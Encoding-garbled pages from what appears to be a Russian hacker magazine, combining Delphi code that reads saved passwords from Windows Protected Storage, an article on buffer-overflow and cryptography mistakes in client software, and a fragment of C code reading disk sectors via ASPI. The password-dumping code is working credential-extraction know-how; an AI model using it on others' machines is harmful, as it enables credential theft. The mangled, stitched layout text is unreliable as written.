çóëüòàòû, è â èòîãå áûë ïîëó÷åí ðàáî-
÷èé àëãîðèòì (ñì. âðåçêó).

×òîáû êîä çàðàáîòàë, íóæíî êèíóòü
íà ôîðìó ïðîåêòà âñå òðè óñòàíîâ-
ëåííûå PSTORECLib-êîìïîíåíòà, à
ïåðåìåííûå îïðåäåëèòü ñëåäóþùèì
îáðàçîì:

hMod: HModule;
hRes: HResult;
DW: DWORD;
spPStore: IPStore;
spEnumTypes: IEnumPStoreTypes;
PStoreCreateInstance: TPStoreCreateInstance;
spEnumSubTypes: IEnumPStoreTypes;
spEnumItems: IEnumPStoreItems;
typeGUID, subtypeGUID: TGUID;
c1, c2, pcbData: cardinal;
itemName: LPWSTR;
pi: _PST_PROMPTINFO;
Buf: array [0..1023] of char;
ppbData: pshortint1;
pn: pointer;

Ñòðîêó GetDriveType('c:\'); óäîáíî èñ-
ïîëüçîâàòü äëÿ îòëàäêè ñâîåé ïðîã-
ðàììû â îòëàä÷èêå SoftICE. Òîãäà,
÷òîáû ïðåðâàòüñÿ íà ýòîì ìåñòå, íóæ-
íî âñåãî ëèøü ââåñòè ïðåðûâàíèå bpx
GetDriveTypeA.

Â ðåçóëüòàòå ïîëó÷àåòñÿ íîâàÿ ãîòî-
âàÿ ïðîãðàììà - CRACKL@B Protected
Storage Viewer 1.0. Ìîæåøü ñêà÷àòü
åå â àðõèâå âìåñòå ñ èñõîäíèêàìè ïî
ññûëêå http://cracklab.ru/download/cpsv.rar.

×ÒÎ-ÒÎ ÅÙÅ
Â Windows 2k è âûøå òàêæå ñóùå-

ñòâóåò ñïåöèàëüíàÿ ñëóæáà. Ñìîòðè
"Ïóñê"-> "Ïàíåëü óïðàâëåíèÿ"-> "Àä-
ìèíèñòðèðîâàíèå"-> "Ñëóæáû"-> "Çà-
ùèùåííîå õðàíèëèùå". Òàì æèâåò
ñëóæáà, êîòîðàÿ îáåñïå÷èâàåò åãî ðà-
áîòîñïîñîáíîñòü.

Åñëè îòêëþ÷èòü ýòó ñëóæáó, íè îäíà
èç ïðîãðàìì íå ñìîæåò ñ÷èòàòü äàí-
íûå èç çàùèùåííîãî õðàíèëèùà.

Â ÈÒÎÃÅ
Âîò òàêèå âûâîäû ìîæíî ñäåëàòü

èç âñåãî ýòîãî:
1. Âñå, ÷òî íàçâàíî "çàùèùåííûì",

ìîæåò îêàçàòüñÿ ñîâåðøåííî áåççà-
ùèòíûì ;).
2. Íà âñÿêèé ñëó÷àé, íå ñòîèò äîâå-

ðÿòü IE õðàíèòü ïàðîëè íà äîñòóï ê
çàêðûòûì çîíàì ñàéòîâ, ëó÷øå ââî-
äèòü ïàðîëü âðó÷íóþ. Äà, êàæäûé ðàç.
3. Äàæå êðóïíåéøèå ïðîâàéäåðû

ìîãóò èäòè íà êîìïðîìèññû â èíôîð-
ìàöèîííîé áåçîïàñíîñòè.
4. "Âèðóñîì" ìîãóò îáîçâàòü íå

òîëüêî âèðóñ, íî è ëþáóþ íåîðäè-
íàðíóþ ïðîãðàììó, êîòîðàÿ èì íå ÿâ-
ëÿåòñÿ. E
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Íàèáîëåå ðàñï-
ðîñòðàíåíà
îõîòà íà àêêà-
óíòû ïî÷òîâîãî
êëèåíòà, òàê
êàê îíè æå
÷àñòî áûâàþò
ïîñòàâëåíû è
íà äîñòóï â èí-
òåðíåò.

Íóæíû ïàðî-
ëè? Êà÷àé
Protected
Storage
PassView èëè
Protected
Storage
Explorer.

ListBox1.Clear;
StatusBar1.SimpleText := DateToStr(Date)+' @ '+TimeToStr(Time);
hMod := LoadLibrary('pstorec.dll');
PStoreCreateInstance := GetProcaddress(hMod, 'PStoreCreateInstance');
if @PStoreCreateInstance = nil then ShowMessage('PStoreCreateInstance not found');
hRes := PStoreCreateInstance(@spPStore, 0, 0, 0);
hRes := spPstore.EnumTypes(0,0,spEnumTypes);

while spEnumTypes.Next(1,typeGUID,c1) = S_OK do
begin
c1 := 0;
hRes := spPStore.EnumSubtypes(0, typeGUID, 0, spEnumSubTypes);
while spEnumSubTypes.Next(1,subtypeGUID,c2) = S_OK do
begin
c2 := 0;
hRes := spPStore.EnumItems(0, typeGUID, subtypeGUID, 0, spEnumItems);
while spEnumItems.Next(1,itemName,c2) = S_OK do
begin
c2 := 0;
ListBox1.Items.Add('Name: '+itemName);
ppbData := @Buf; pcbdata := 0;
pi.cbSize := 16; pi.dwPromptFlags := 2; pi.hwndApp := handle; pi.szPrompt := 0;
hRes := spPStore.ReadItem(0,typeGUID,subtypeGUID,PWideChar(itemName),pcbData,ppbData,pi,0);
GetDriveType('c:\');
asm
lea eax, ppbData
mov eax, dword ptr [eax]
mov pn, eax
end;

ListBox1.Items.Add('Data: '+StrPas(pn));
ListBox1.Items.Add('----------');
end;

end;
end;



îëãîå âðåìÿ âîïðîñàì áåçî-
ïàñíîñòè êëèåíòñêèõ ïðèëî-
æåíèé íå óäåëÿëîñü íèêàêîãî
âíèìàíèÿ, è èõ ïèñàëè êîå-
êàê. Â ñàìîì äåëå, êòî âäðóã

çàèíòåðåñóåòñÿ àòàêîé íà ïîëüçîâàòåëÿ?
Ñåðâåðû - äðóãîå äåëî! Îäíàêî ñåé÷àñ âñå
èçìåíèëîñü. Ñîòíè ìèëëèîíîâ êëèåíòñêèõ ìà-
øèí - ýòî ñîëèäíûé ëîìîòü èíòåðíåò-ïèðîãà,
íàìíîãî áîëåå ëàêîìûé, ÷åì êó÷êà ñåðâåðîâ,
îõðàíÿåìûõ àãðåññèâíûìè öåðáåðàìè (îíè
æå àäìèíû). Ýòî ìîðå êîíôèäåíöèàëüíîé èí-
ôîðìàöèè, ðîññûïè ýëåêòðîííûõ êîøåëüêîâ
è öåëàÿ àðìèÿ áîòíåòîâ, ñîïîñòàâèìàÿ ïî
ñâîåé ìîùè ñ ëó÷øèìè ñóïåðêîìïüþòåðàìè,
êîòîðûìè òîëüêî ðàñïîëàãàåò Ïåíòàãîí. È ñà-
ìîå ãëàâíîå: êëèåíòñêèå êîìïüþòåðû íè÷åì
íå çàùèùåíû. ×åì âîîðóæåí òèïè÷íûé ïîëü-
çîâàòåëü? Ïðàâèëüíî, ìûøüþ :). 

ÑÂÎÁÎÄÀ ÁÅÇ ÃÐÀÍÈÖ, ÈËÈ
ÏÅÐÅÏÎËÍÅÍÈÅ

Ñðåäè âñåõ òèïîâ îøèáîê ïî-ïðåæíåìó
ëèäèðóåò ïåðåïîëíåíèå áóôåðà, õàðàêòåð-
íîå â îñíîâíîì äëÿ Ñ/Ñ++ ïðèëîæåíèé, íî
òàêæå âñòðå÷àþùååñÿ íà DELPHI èëè Ïàñ-
êàëü. Ïðè÷èíà - áàíàëüíàÿ íåâíèìàòåëü-
íîñòü, íåðÿøëèâîñòü è íåáðåæíîñòü ïðè
ïðîãðàììèðîâàíèè. Ñîâðåìåííûå ïðèëîæå-
íèÿ èñïîëüçóþò ñîòíè òûñÿ÷ áóôåðîâ, è
ïðè áåøåíûõ òåìïàõ ðàçðàáîòêè î÷åíü
òðóäíî óñëåäèòü çà âñåì ýòèì õîçÿéñòâîì.
Íåò, ÿ íå ñîáèðàþñü ïðèçûâàòü äåâåëîïå-
ðîâ ê ïîðÿäêó. ×åëîâåêó ñâîéñòâåííîãî
îøèáàòüñÿ. Ýòî ôàêò. Ìíîãèå ðóêîâîäñòâà
ïî áåçîïàñíîñòè ðåêîìåíäóþò: "Ïðåæäå
÷åì êëàñòü ÷òî-òî â áóôåð, ïðîâåðüòå, âëå-
çåò ëè". Íàïðèìåð, îáúåäèíåíèå äâóõ ñòðîê
ìîæåò âûãëÿäåòü òàê:

if (strlen(FirsName)+strlen(" ")+strlen(LastName)) <
BUF_SIZE)

spintf(buf,"%s %s", FirstName, LastName);
else

goto Error;

Ýòî íåïðàâèëüíî! È âîò ïî÷åìó: êîíòðîëü
äëèíû - Î×ÅÍÜ ïðîæîðëèâàÿ îïåðàöèÿ, îò-
íèìàþùàÿ óéìó ïðîöåññîðíîãî âðåìåíè, íî
íå äàþùàÿ íèêàêèõ ãàðàíòèé, òàê êàê çà êîð-
ðåêòíîñòüþ êîäà ñëåäèò íå ìàøèíà, à ïðîã-
ðàììèñò! Ê òîìó æå íå ñîâñåì ïîíÿòíî, êàê
îáðàáàòûâàòü ñèòóàöèþ ñ íåõâàòêîé ïàìÿòè.
Àâàðèéíî ïðåêðàùàòü ðàáîòó ïðèëîæåíèÿ -

òàê ýòî íàñòîÿùèé DoS ïîëó÷àåòñÿ! À ÷òîáû
êîððåêòíî ñîõðàíèòü âñå íåñîõðàíåííûå
äàííûå, ïðèäåòñÿ ââîäèòü ïîääåðæêó òðàí-
çàêöèé, ÷òîáû çíà÷èòåëüíî óñëîæíèò àðõè-
òåêòóðó ïðîãðàììû.

Íåêîòîðûå ðåêîìåíäóþò èñïîëüçîâàòü
ôóíêöèè òèïà snprinf, ïîçâîëÿþùèå îãðàíè-
÷èòü äëèíó âîçâðàùàåìûõ äàííûõ, ÷òî ÿêî-
áû çàùèùàåò îò ïåðåïîëíåíèÿ. Íà ïåðâûé
âçãëÿä, âñå çàìå÷àòåëüíî:

snprintf(buf, BUF_SIZE, "%s %s", FirstName,
LastName);

Èñõîäíûé êîä çíà÷èòåëüíî óïðîùàåòñÿ, à
ïðîèçâîäèòåëüíîñòü è çàùèùåííîñòü çíà÷è-
òåëüíî âîçðàñòàþò. Íà ñàìîì äåëå, âûáðàâ-
øèñü èç îäíîé äûðû, ìû òóò æå âëÿïûâàåìñÿ
â äðóãóþ. Àâòîìàòè÷åñêîå óñå÷åíèå äàííûõ
ïî äëèíå áóôåðà âíîñèò îãðîìíóþ íåðàçáåðè-
õó, ïîðîæäàÿ òðóäíîóëîâèìûå îøèáêè. Ëþáîé
äîãàäàåòñÿ, ÷òî ïðîèçîéäåò ïðè "êàñòðàöèè"
íîìåðà êðåäèòíîé êàðòû èëè, ñêàæåì, èìåíè
ôàéëà. Òàê ÷òî áåç äîïîëíèòåëüíîãî óðîâíÿ
êîíòðîëÿ âñå ðàâíî íå îáîéòèñü. Ê òîìó æå òóò
î÷åíü ëåãêî îøèáèòüñÿ, ïåðåäàâ ôóíêöèè íå-

Ä

Êðèñ Êàñïåðñêè àêà ìûùúõ (no e-mail)

Î øèáêè ñèäÿò â ëþáîì ïðèëîæåíèè. Ñòîèò òîëüêî òðÿõíóòü ïîñèëüíåå, è
áàãè ïîñûïëþòñÿ, êàê ïåðåçðåâøèå ÿáëîêè ñ ÿáëîíè îñåíüþ. Òîëüêî

ïîäñòàâëÿé êàðìàí! Äëÿ ÷åðâåé è õàêåðîâ ýòî ñàìûé íàñòîÿùèé äåëèêàòåñ.
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âåðíûé ðàçìåð. Âîò ïðèìåð òèïè÷íîé
îøèáêè, ïîðîæäàþùåé ïåðåïîëíåíèå:

snprintf(buf,BUF_SIZE, "%s %s", FirstName,
LastName);
snprintf(&buf[strlen(buf)], BUF_SIZE, " %s",
Alias);

Âî-ïåðâûõ, íå "buf, BUF_SIZE", à
"buf, BUF_SIZE-1", ïîñêîëüêó ôóíêöèÿ
snprintf îæèäàåò íå ðàçìåð áóôåðà, à
ìàêñèìàëüíîå êîëè÷åñòâî âîçâðàùà-
åìûõ áàéò, çà êîòîðûìè äîëæåí ñëå-
äîâàòü çàâåðøàþùèé íóëü, íî... îí íå
ñëåäóåò. Åñëè strlen(FirsName)+strlen("
")+strlen(LastName)) == BUF_SIZE, òî
snpritnf "çàáûâàåò" î íåì. Õîðîøåíü-
êîå íà÷àëî, íå÷åãî ñêàçàòü! Åñëè
ïðîãðàììèñò íå ïîñòàâèò åãî òóäà ñà-
ìîñòîÿòåëüíî, ïðîãðàììà ðóõíåò
îêîí÷àòåëüíî! Íå íàéäÿ çàâåðøàþ-
ùåãî íóëÿ, ôóíêöèÿ strlen âûéäåò äà-
ëåêî çà ïðåäåëû ñòðîêè è îñòàíîâèòñÿ
íåèçâåñòíî ãäå.

Âî-âòîðûõ, "&buf[strlen(buf)],
BUF_SIZE" äîëæíî áûòü çàìåíåíî íà
"BUF_SIZE - strlen(buf) - 1". Ïðîãðàì-
ìèñò ïî èíåðöèè èñïîëüçîâàë
BUF_SIZE, íå çàìåòèâ, ÷òî ÷àñòü áóôå-
ðà óæå çàíÿòà. È òàêèå îøèáêè âñòðå-
÷àþòñÿ ïîñòîÿííî!

Ïðàâèëüíûé âàðèàíò âûãëÿäèò òàê:

memset(buf, 0, BUF_SIZE);
if (snprintf(buf,BUF_SIZE-1,

"%s %s", FirstName,
LastName)==-1) log("warring");

if (snprintf(&buf[strlen(buf)],BUF_SIZE-
strlen(buf)-1,

" %s", Alias); log("warring");

Ïðÿìî íå ïðîãðàììà, à ñïëîøíîå
ìèííîå ïîëå ïîëó÷àåòñÿ. Ìàëåíüêàÿ
íåáðåæíîñòü ðóøèò âñå! Ïîýòîìó íà
÷èñòîì Ñ ñëàáîíåðâíûì ëó÷øå íå
ïðîãðàììèðîâàòü :).

Ëó÷øåå ñðåäñòâî îò ïåðåïîëíåíèÿ
- ýòî äèíàìè÷åñêèå ìàññèâû, êîòîðûå
ëåãêî ðåàëèçîâàòü íà Ñ++. Íåîáõîäè-
ìîñòü "ðó÷íîãî" êîíòðîëÿ çà ãðàíè-
öàìè ñòðàçó æå îòïàäàåò. Ïîä ìàññèâ
îòâîäèòñÿ èìåííî ñòîëüêî ïàìÿòè,
ñêîëüêî åìó òðåáóåòñÿ, à åñëè íå
óäàåòñÿ âûäåëèòü ïàìÿòü, âîçáóæäà-
åòñÿ èñêëþ÷åíèå. Íî ýòî óæå êðàé-
íèé ñëó÷àé. Äëÿ íàäåæíîñòè ìîæíî
ïåðåêðûòü îïåðàòîð [], âûïîëíÿÿ àâ-
òîìàòè÷åñêóþ ïðîâåðêó ãðàíèö ïðè
êàæäîì îáðàùåíèè ê ìàññèâó (âïðî-
÷åì, íåêîòîðûå êîìïèëÿòîðû óìåþò
äåëàòü è ñàìîñòîÿòåëüíî - íóæíî
òîëüêî íàéòè ñîîòâåòñòâóþùóþ îï-
öèþ è àêòèâèðîâàòü åå). Ñîáñòâåííî
ãîâîðÿ, äèíàìè÷åñêèå ìàññèâû ÿâëÿ-
þòñÿ ÷àñòíûì ñëó÷àåì ñïèñêîâ.
Ñïèñêè - ýòî ïîòðÿñàþùèé èíñòðó-
ìåíò, î÷åíü ïðîñòîé â óïðàâëåíèè è
íå ïîäâåðæåííûé íèêàêèì ïåðåïîë-
íåíèÿì!

Åñòåñòâåííî, ñïèñêè è äèíàìè÷åñêèå
ìàññèâû ñóùåñòâåííî çàìåäëÿþò ðà-
áîòó, îäíàêî íà íîâûõ ïðîöåññîðàõ
ýòî íå òàê óæ è çàìåòíî. Óçêèì ìåñòîì

ñåòåâûõ ïðèëîæåíèé ÿâëÿåòñÿ ïðîïó-
ñêíàÿ ñïîñîáíîñòü èíòåðíåò-êàíàëîâ
è îïåðàöèè ââîäà/âûâîäà, òàê ÷òî
íàêëàäíûìè ðàñõîäàìè ìîæíî ñìåëî
ïðåíåáðå÷ü. Ãëàâíîå, ÷òî êîëè÷åñòâî
îøèáîê è òðóäîåìêîñòü ðàçðàáîòêè
ðåçêî ñíèæàåòñÿ. È òî, è äðóãîå - ýòî
ïðÿìîé äîõîä, à ïðîèçâîäèòåëüíîñòü -
ïîíÿòèå ðàñòÿæèìîå. Ïåðåïëà÷èâàòü
çà íåå ãîòîâû åäèíèöû, äà è òî ïîñëå
ïðåäâàðèòåëüíîé ïðîïàãàíäû è ïðî-
ìûâêè ìîçãîâ :).

Ïðèìåð èñïîëüçîâàíèÿ äèíàìè÷åñêèõ
áóôåðîâ (ïðàâèëüíûé âàðèàíò, íå ïîä-
âåðæåííûé îøèáêàì ïåðåïîëíåíèÿ):

dynchar buf = FirstName + " " + LastName +
" " + Alias;

Îí ïðåäåëüíî ïðîñò. Òîëüêî íèêîãäà
íå èñïîëüçóé CString. Ýòî æóòêèé
êëàññ. Ïèøè ñâîè ñîáñòâåííûå äèíà-
ìè÷åñêèå áóôåðà, îòëè÷íûå ïðèìåðû
êîòîðûõ ìîæíî íàéòè â "Èñêóññòâå
ïðîãðàììèðîâàíèÿ" Êíóòà.

ÊÐÈÏÒÎÃÐÀÔÈß ÍÀÎÁÎÐÎÒ
Êðèïòîãðàôèÿ ñåé÷àñ â ìîäå è íà-

ñèëóåòñÿ äàæå òàì, ãäå åùå â÷åðà áû-
ëà ñîâåðøåííî íå íóæíà. Èçâåñòíîå
ïðàâèëî ãëàñèò: "Çàùèùåííîñòü ñèñ-
òåìû îïðåäåëÿåòñÿ åå ñàìîé ñëàáîé
÷àñòüþ". Ïðîñòî ïðèêðóòèòü ê ïðîã-
ðàììå êàêîé-íèáóäü êðèïòîãðàôè÷åñ-
êèé ïðîòîêîë (íàïðèìåð MD5) åùå
íåäîñòàòî÷íî. Ýòî âñå ðàâíî ÷òî íà-
âåñèòü íà äà÷íûé äîìèê æåëåçíóþ
äâåðü. Òóò íóæåí öåëûé êîìïëåêñ çà-
ùèòíûõ ìåð. Ðåøåòêè íà îêíàõ. Áå-
òîííûå ñòåíû, ïîëû è ïîòîëîê. Ñèãíà-
ëèçàöèÿ. Êàìåðà âèäåîíàáëþäåíèÿ,
íàêîíåö!

Ðåàëèçîâàòü êðèïòîãðàôè÷åñêèé
ïðîòîêîë íå òàê-òî ïðîñòî. Äàæå òà-
êèì ìîíñòðàì, êàê Microsoft, íå âñåãäà
óäàâàëîñü ñäåëàòü ýòî ñ ïåðâîãî ðà-
çà :). Âîò íåïîëíûé ïåðå÷åíü íàèáî-
ëåå ïîïóëÿðíûõ îøèáîê: âûáîð íå-
ñòîéêèõ êðèïòîàëãîðèòìîâ, ìàëàÿ
äëèíà êëþ÷à, îòñóòñòâèå ïðîâåðîê íà
ñëàáûå (weak) êëþ÷è, õðàíåíèå êëþ-

÷à âìåñòå ñ äàííûìè, ïîâòîðíîå íà-
ëîæåíèå ãàììû øèôðà, ñàìîñèíõðî-
íèçàöèÿ, çàâèñèìîñòü âðåìåíè îáðà-
áîòêè êëþ÷à îò âðåìåíè, îòñóòñòâèå
ñëó÷àéíîé ïðèâÿçêè (salt), îòëàäî÷-
íûå ëþêè èëè âîçìîæíîñòü ïðèíóäè-
òåëüíî îò-
êëþ÷èòü øèôðîâàíèå.

Íàïðèìåð, õýø Lan Manager'à, èñ-
ïîëüçóåìûé äëÿ àóòåíòèôèêàöèè â
IBM OS/2 è Microsoft Windows NT, ãå-
íåðèðóåòñÿ íà îñíîâå äâóõ "ïîëîâè-
íîê" 14-ñèìâîëüíîé ñòðîêè, â ðåçóëü-
òàòå ÷åãî åãî êðèïòîñòîéêîñòü îñëàá-
ëÿåòñÿ â ñîòíè ìèëëèàðäîâ ðàç! Â ãðó-
áîì ïðèáëèæåíèè, äëÿ âçëîìà 14-ñèì-
âîëüíîãî ïàðîëÿ òðåáóåòñÿ ïåðåáðàòü
ïîðÿäêà N14 âàðèàíòîâ, à äëÿ âçëîìà
äâóõ ïîëîâèíîê - 2*N7, ãäå N � êîëè-
÷åñòâî ñèìâîëîâ â "àëôàâèòå" ïàðî-
ëÿ (äëÿ Windows NT - 68).

Ïðè øèôðîâàíèè èäåíòè÷íûõ äàí-
íûõ îäíèì è òåì æå êëþ÷îì ìû ïîëó-
÷èì îäèí è òîò æå øèôðîòåêñò. Âðîäå
áû âñå ëîãè÷íî, íî ýòî íàñòîÿùàÿ äû-
ðà. Õîòÿ çëîóìûøëåííèê íå ìîæåò
ðàñøèôðîâàòü òåêñò, îí ìîæåò õîòÿ
áû ïðèáëèçèòåëüíî óñòàíîâèòü åãî
ñîäåðæèìîå. Íàïðèìåð, â òîé æå
Windows NT ìîæíî áûñòðî íàéòè
ïîëüçîâàòåëåé, ÷üè ïàðîëè ñîâïàäà-
þò - èõ õýøè áóäóò èäåíòè÷íû! Âðîäå
áû ìåëî÷ü, íî íåïðèÿòíî.

Ñ ïîòîêîâûìè øèôðàìè âñå ãîðàç-
äî ñëîæíåå. Îäíà è òà æå ÷àñòü ãàì-
ìû êëþ÷à ìíîãîêðàòíî íàêëàäûâàåò-
ñÿ íà ðàçëè÷íûå øèôðîäàííûå, ñðå-
äè êîòîðûõ ìîæåò ïðèñóòñòâîâàòü íå-
êîòîðîå êîëè÷åñòâî ïðåäñêàçóåìîé
èíôîðìàöèè (íàïðèìåð òèï ïðîòîêî-
ëà â çàãîëîâêå ñåòåâîãî ïàêåòà). Ýòî
ïîçâîëÿåò âîññòàíàâëèâàòü ïî íåñ-
êîëüêî áàéò ãàììû çà ðàç, íî, ïîñ-
êîëüêó â ðàçëè÷íûõ ïàêåòàõ íà îäíè
è òå æå ïîëÿ íàêëàäûâàþòñÿ ðàçëè÷-
íûå ÷àñòè ãàììû, ÷åðåç íåêîòîðîå
âðåìÿ âñÿ ãàììà âîññòàíàâëèâàåòñÿ
öåëèêîì è õàêåð ïîëó÷àåò âîçìîæ-
íîñòü ïîëíîñòüþ ðàñøèôðîâàòü ëþ-
áîé ïàêåò.
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Èçíà÷àëüíî
íèêòî è íå äó-
ìàë çàùèùàòü
êëèåíòñêèå
ïðèëîæåíèÿ,
ïîêà íå ïðè-
øåë èíòåðíåò.

Ïðèëîæåíèé
áåç äûðîê íå
ñóùåñòâóåò!



×òîáû ýòîãî íå ñëó÷èëîñü, êàæäûé
êëþ÷ äîëæåí èñïîëüçîâàòüñÿ òîëüêî
îäèí ðàç. Íî çàñòàâèòü ïîëüçîâàòåëÿ
ìåíÿòü êëþ÷è ñ òàêîé ñêîðîñòüþ
ïðîñòî íåãóìàííî, ïîýòîìó ýôôåêòèâ-
íûé êëþ÷ øèôðîâàíèÿ îáû÷íî ãåíå-
ðèðóåòñÿ íà îñíîâå ñåêðåòíîãî êëþ÷à,
ââåäåííîãî ïîëüçîâàòåëåì, è ñëó÷àé-
íîé ïðèâÿçêè, àâòîìàòè÷åñêè ãåíåðè-
ðóåìîé êîìïüþòåðîì. Àòàêîâàòü òà-
êóþ çàùèòó ïî îòêðûòîìó òåêñòó óæå
íåâîçìîæíî, íî, òåì íå ìåíåå, îíà
óÿçâèìà.

Íåêîòîðûå êðèïòîàëãîðèòìû (RC4,
DES è äð.) ïðè øèôðîâàíèè ñ îïðåäå-
ëåííûìè êëþ÷àìè âçëàìûâàþòñÿ
íàìíîãî áûñòðåå, ÷åì îæèäàëîñü, òàê
êàê ìàëàÿ ÷àñòü áèòîâ êëþ÷à âîçäåé-
ñòâóåò íà çíà÷èòåëüíîå êîëè÷åñòâî
áèò øèôðîòåêñòà. Òàêèå êëþ÷è íàçû-
âàþòñÿ "ñëàáûìè" (weak). Ïðîãðàììà,
êîòîðàÿ çàáîòèòñÿ î ñâîåé áåçîïàñ-
íîñòè, îáÿçàòåëüíî äîëæíà ïðîâå-
ðÿòü êëþ÷è íà ñëàáîñòü, íî, êàê ïîêà-
çûâàåò ïðàêòèêà, ìíîãèå èç íèõ îá
ýòîì çàáûâàþò. Ê èõ ÷èñëó ïðèíàäëå-
æèò è ïðîòîêîë WEP, èñïîëüçóþùèé-
ñÿ â óñòðîéñòâàõ áåñïðîâîäíîé ñâÿ-
çè. Ïîñêîëüêó ýôôåêòèâíûé êëþ÷
øèôðîâàíèÿ ãåíåðèðóåòñÿ íà îñíîâå
ñåêðåòíîãî êëþ÷à è ñëó÷àéíîé ïðè-
âÿçêè, "êîíöåíòðàöèÿ" ñëàáûõ êëþ-
÷åé ñòàíîâèòñÿ ïðîñòî óãðîæàþùåé,
è äàæå 128-áèòíûå êëþ÷è âçëàìûâà-
þòñÿ áåç îñîáîé íàòóãè.

Çàìå÷ó, ÷òî ñëåäóåò çàùèùàòüñÿ íå
òîëüêî îò ïåðåõâàòà òðàôèêà, íî è îò
íàâÿçûâàíèÿ ïîäëîæíûõ ïàêåòîâ.
Óæå óïîìÿíóòûé WEP ñ ýòèì íå ñïðàâ-
ëÿëñÿ, è îäíàæäû ïåðåõâà÷åííûé ïà-
êåò ìîæåò áûòü ðåòðàíñëèðîâàí çëîó-
ìûøëåííèêîì âíîâü è âíîâü, ïîçâî-
ëÿÿ òåì ñàìûì ðåàëèçîâàòü àòàêó "îò-
êàçà â îáñëóæèâàíèè".

Êñòàòè îá îòêàçàõ. Ñ ðîñòîì ïðîïóñê-
íîé ñïîñîáíîñòè èíòåðíåò-êàíàëîâ
òðåáîâàíèÿ ê ñêîðîñòè øèôðîâàíèÿ
ðåçêî óæåñòî÷èëèñü. Íåñêîëüêî ëåò
íàçàä, êîãäà êîííåêò íà 33.600 áûë
ïðåäåëîì ìå÷òàíèé, à ìîäåì íà 56Ê
ñóëèë æèçíü â ðàþ, âðåìÿ øèôðîâà-
íèÿ íå èãðàëî íèêàêîé ðîëè, íî óæå
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Ìíîãîå ïðîùå
è ëó÷øå ðåà-
ëèçîâàòü íà
Ñ++: ïðîãðàì-
ìèñòû íà Ñ
îáû÷íî äîïóñ-
êàþò áîëüøå
îøèáîê.

Ïåðåïîëíåíèå
áóôåðà - îäíà
èç ÷àñòî âñòðå-
÷àþùèõñÿ äû-
ðîê, ÷åðåç êî-
òîðóþ èìåþò
ìíîãèå ïðèëî-
æåíèÿ.

ÈÍÑÒÐÓÊÒÀÆ ÏÅÐÅÄ ÁÎÅÌ20 ÊËÈÅÍÒ

build 0x001 @ 29.05.2003
----------------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>
#include "scsidefs.h"
#include "wnaspi32.h"

void ASPI32Post (LPVOID);

#define F_NAME "sector.dat"

/* ASPI SRB packet length */
#define ASPI_SRB_LEN 0x100

#define READ_CMD 0xA8

#define PACKET_LEN512

#define MY_CMD READ_CMD

HANDLE hEvent;

//-[DWORD READ_SECTOR]---------------------------------------------
// ARG:
// adapter_id - íîìåð øèíû (0 - primary, 1 - secondary)
// read_id - íîìåð óñòðîéñòâà íà øèíå (0 - master, 1 - slaeyer)
// buf - áóôåð, êóäà ÷èòàòü
// buf_len - ðàçìåð áóôåðà â áàéòàõ
// StartSector - ñ êàêîãî ñåêòîðà ÷èòàòü, ñ÷èòàÿ îò íóëÿ
// N_SECTOR - ñêîëüêî ñåêòîðîâ ÷èòàòü \
//
// RET:
// - íè÷åãî íå âîçâðàùàåò
//
// NOTE:
// - ôóíêöèÿ âîçâðàùàåò óïðàâëåíèå äî çàâåðøåíèÿ âûïîëíåíèÿ çàïðîñà,
// ïîýòîìó íà ìîìåíò âûõîäà èç íåå ñîäåðæèìîå áóôåðà ñ äàííûìè åùå
// ïóñòî è ðåàëüíî îí çàïîëíÿåòñÿ òîëüêî ïðè âûçîâå ôóíêöèè
// ASPI32Post (ìîæåøü ìîäèôèöèðîâàòü åå ïî ñâîåìó óñìîòðåíèþ)
// äëÿ ñèãíàëèçàöèè î çàâåðøåíèè îïåðàöèè ðåêîìåíäóåòñÿ èñïîëüçîâàòü
// ñîáûòèÿ (Event)
//
// - ôóíêöèÿ ðàáîòàåò è ïîä 9x/ME/NT/W2K/XP è _íå_ òðåáóåò äëÿ ñåáÿ ïðàâ
// àäìèíèñòðàòîðà. Îäíàêî ASPI-äðàéâåð äîëæåí áûòü óñòàíîâëåí
//-----------------------------------------------------------------------------
READ_SECTOR(int adapter_id,int read_id,char *buf,int buf_len,

int StartSector,int N_SECTOR)
{

PSRB_ExecSCSICmd SRB;
DWORD ASPI32Status;

// âûäåëÿåì ïàìÿòü äëÿ SRB-çàïðîñà
SRB = malloc(ASPI_SRB_LEN); memset(SRB, 0, ASPI_SRB_LEN);

// ÏÎÄÃÎÒÎÂÊÀ SRB-áëîêà
SRB->SRB_Cmd = SC_EXEC_SCSI_CMD; // âûïîëíèòü SCSI êîìàíäó
SRB->SRB_HaId = adapter_id;             // ID àäàïòåðà
SRB->SRB_Flags = SRB_DIR_IN|SRB_POSTING;   // àñèíõð. ÷òåíèå äàííûõ
SRB->SRB_Target = read_id; // ID óñòðîéñòâà
SRB->SRB_BufPointer = buf; // ñþäà ÷èòàþòñÿ äàííûå
SRB->SRB_BufLen = buf_len; // äëèíà áóôåðà
SRB->SRB_SenseLen = SENSE_LEN; // äëèíà SENSE-áóôåðà
SRB->SRB_CDBLen = 12; // ðàçìåð ATAPI-ïàêåòà

SRB->CDBByte [0] = MY_CMD; // ATAI-êîìàíäà

SRB->CDBByte [2] = HIBYTE(HIWORD(StartSector)); // íîìåð ïåðâîãî  ñåêòîðà
SRB->CDBByte [3] = LOBYTE(HIWORD(StartSector));
SRB->CDBByte [4] = HIBYTE(LOWORD(StartSector));
SRB->CDBByte [5] = LOBYTE(LOWORD(StartSector));

SRB->CDBByte [6] = HIBYTE(HIWORD(N_SECTOR)); // êîë-âî ÷èòàåìûõ ñåêòîðîâ
SRB->CDBByte [7] = LOBYTE(HIWORD(N_SECTOR));
SRB->CDBByte [8] = HIBYTE(LOWORD(N_SECTOR));
SRB->CDBByte [8] = LOBYTE(LOWORD(N_SECTOR));

×ÒÅÍÈÅ ÑÅÊÒÎÐÀ Ñ ÆÅÑÒÊÎÃÎ ÄÈÑÊÀ

»Ãåíåðàòîð RC4-êëþ÷åé ñ êðàñèâûìè èêîíêàìè, ñîçäàþùèìè
èëëþçèþ áåçîïàñíîñòè



íà äâóõìåãàáèòíîì êàíàëå ñî ìíîãèìè
àëãîðèòìàìè â ðåàëüíîì âðåìåíè
Pentium-4 íå ñïðàâëÿåòñÿ, à îäíîãèãà-
áèòíûé Ethernet ïðè èñïîëüçîâàíèè
MD5 áóäåò òîðìîçèòü, êàê ñëîí. Êðèï-
òîñòîéêîñòü - äàëåêî íå åäèíñòâåííûé
êðèòåðèé, è âûáèðàòü "ïðàâèëüíûé"
àëãîðèòì øèôðîâàíèÿ ñëåäóåò ñ
áîëüøîé îñòîðîæíîñòüþ.

